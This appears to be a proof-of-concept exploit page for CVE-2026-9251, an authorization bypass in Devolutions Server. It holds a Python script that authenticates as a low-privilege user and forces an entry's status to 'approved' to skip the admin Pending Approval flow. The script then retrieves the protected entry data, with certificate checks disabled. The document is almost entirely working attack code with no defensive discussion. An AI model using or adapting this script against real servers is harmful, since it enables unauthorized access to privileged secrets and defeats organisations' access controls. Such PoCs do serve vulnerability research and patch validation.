CVE-2026-9251 Devolutions Server授权绕过漏洞

# CVE-2026-9251 PoC - Devolutions Server Authorization Bypass # This PoC demonstrates the missing authorization vulnerability in entry status management import requests import json TARGET_HOST = "https://target-devolutions-server.com" TARGET_ENTRY_ID = "<target_entry_id>" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_token(): """Authenticate and get session token""" login_url = f"{TARGET_HOST}/api/auth/login" payload = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=payload, verify=False) if response.status_code == 200: return response.json().get('token') return None def bypass_approval_flow(token, entry_id): """Bypass the Pending Approval flow by changing entry status directly""" api_url = f"{TARGET_HOST}/api/entries/{entry_id}/status" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Crafted status change request - bypasses admin-enforced approval payload = { "status": "approved", "force": True } response = requests.post(api_url, json=payload, headers=headers, verify=False) return response def access_entry_data(token, entry_id): """Access the entry data after bypassing approval flow""" api_url = f"{TARGET_HOST}/api/entries/{entry_id}" headers = { "Authorization": f"Bearer {token}" } response = requests.get(api_url, headers=headers, verify=False) return response.json() def main(): print("[*] CVE-2026-9251 PoC - Devolutions Server Authorization Bypass") print("[*] Target:", TARGET_HOST) # Step 1: Authenticate as low-privilege user print("\n[1] Authenticating as low-privilege user...") token = get_auth_token() if not token: print("[-] Authentication failed!") return print("[+] Authentication successful!") # Step 2: Bypass the Pending Approval flow print(f"\n[2] Bypassing Pending Approval flow for entry {TARGET_ENTRY_ID}...") response = bypass_approval_flow(token, TARGET_ENTRY_ID) if response.status_code in [200, 201]: print("[+] Successfully bypassed approval flow!") else: print(f"[-] Bypass failed with status {response.status_code}") # Step 3: Access sensitive entry data print("\n[3] Accessing entry data...") try: entry_data = access_entry_data(token, TARGET_ENTRY_ID) print("[+] Successfully retrieved entry data:") print(json.dumps(entry_data, indent=2)) except Exception as e: print(f"[-] Failed to access entry data: {e}") if __name__ == "__main__": main()